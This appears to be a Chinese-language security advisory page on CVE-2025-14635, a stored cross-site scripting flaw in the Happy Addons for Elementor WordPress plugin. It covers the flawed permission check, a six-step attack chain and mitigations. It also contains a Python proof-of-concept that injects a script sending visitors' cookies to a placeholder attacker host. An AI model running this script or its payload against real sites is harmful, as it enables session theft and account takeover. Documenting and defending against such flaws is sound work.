IPBUF安全漏洞报告
English
CVE-2025-14635 CVSS 6.4 中危

CVE-2025-14635 Happy Addons for Elementor插件存储型XSS漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14635
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Happy Addons for Elementor

相关标签

存储型XSSHappy Addons for ElementorWordPress插件漏洞CVE-2025-14635跨站脚本攻击权限绕过认证用户漏洞WordPress安全

漏洞概述

Happy Addons for Elementor是WordPress平台上一个广受欢迎的Elementor页面构建器扩展插件。该插件在3.20.3及之前版本中存在严重的存储型跨站脚本(XSS)漏洞。漏洞源于插件对用户输入的ha_page_custom_js参数缺乏充分的输入清理和输出转义处理。尽管插件设计初衷是将自定义JavaScript功能限制为管理员才能使用,但由于权限检查存在缺陷,具有Contributor(贡献者)级别及以上权限的认证用户可以绕过权限限制,向页面注入任意恶意JavaScript代码。这些恶意代码会被永久存储在数据库中,当其他用户访问包含恶意代码的页面时,注入的脚本将自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全问题。鉴于该插件被广泛安装使用,建议所有用户立即升级到最新版本。

技术细节

该漏洞位于Happy Addons for Elementor插件的Custom JS扩展模块中,具体路径为extensions/custom-js.php的第60行和第76行附近。漏洞产生的根本原因是:1) 插件接收用户提交的ha_page_custom_js参数后,未对其进行充分的输入验证和消毒处理;2) 在将用户输入的数据输出到页面时,缺少必要的HTML转义或内容安全策略(CSP)限制。攻击者只需构造包含恶意JavaScript代码的请求,将payload注入到ha_page_custom_js参数中。由于权限检查机制不完善,即使是非管理员账户(如Contributor角色)也能成功提交恶意代码。注入的脚本内容会被永久存储在WordPress数据库的postmeta表中。当其他用户访问包含该自定义JS的页面时,浏览器会执行这些恶意脚本。由于攻击发生在已认证用户的上下文中,恶意脚本可以访问该用户的cookies、会话信息,并可代表用户执行操作。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标WordPress网站是否安装了Happy Addons for Elementor插件,并确定其版本号是否在受影响范围内(<=3.20.3)
STEP 2
账户获取
攻击者需要获得目标WordPress站点的 Contributor 或更高级别账户凭据。可以通过社会工程学、凭证填充或利用其他漏洞获取
STEP 3
漏洞利用
使用获得的账户登录WordPress后台,通过Custom JS功能向ha_page_custom_js参数注入包含恶意JavaScript的XSS payload
STEP 4
持久化存储
恶意代码被存储在数据库的postmeta表中,实现持久化。只要页面存在,恶意脚本就会一直保留
STEP 5
触发执行
当其他用户(管理员、编辑或普通访客)访问包含恶意自定义JS的页面时,浏览器会自动解析并执行注入的JavaScript代码
STEP 6
恶意行为
在用户浏览器上下文中执行恶意脚本,可窃取会话Cookie、劫持用户账户、注入更多恶意内容或进行钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-14635 PoC - Happy Addons for Elementor Stored XSS # Target: WordPress site with Happy Addons for Elementor <= 3.20.3 target_url = "http://target-wordpress-site.com" username = "contributor_user" password = "user_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Get nonce for Custom JS settings page_url = f"{target_url}/wp-admin/admin.php?page=happyaddons" response = session.get(page_url) nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) wpnonce = nonce_match.group(1) if nonce_match else "" # Step 3: Inject malicious JavaScript via ha_page_custom_js parameter # XSS payload: Steals cookies and sends to attacker-controlled endpoint xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' custom_js_url = f"{target_url}/wp-admin/admin-ajax.php" post_data = { "action": "ha_save_custom_js", "ha_page_custom_js": xss_payload, "post_id": "123", # Target page ID "_wpnonce": wpnonce } session.post(custom_js_url, data=post_data) print("XSS payload injected successfully. Payload will execute when page is viewed.")

影响范围

Happy Addons for Elementor <= 3.20.3

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Custom JS功能;2) 撤销所有非管理员账户的Contributor及以上权限;3) 使用Web应用防火墙(WAF)规则拦截包含<script>标签或javascript:协议的请求;4) 实施严格的CSP策略限制内联脚本执行;5) 启用Wordfence等安全插件的实时防火墙规则。同时建议管理员定期审查所有页面的自定义JS内容,及时清除可疑代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表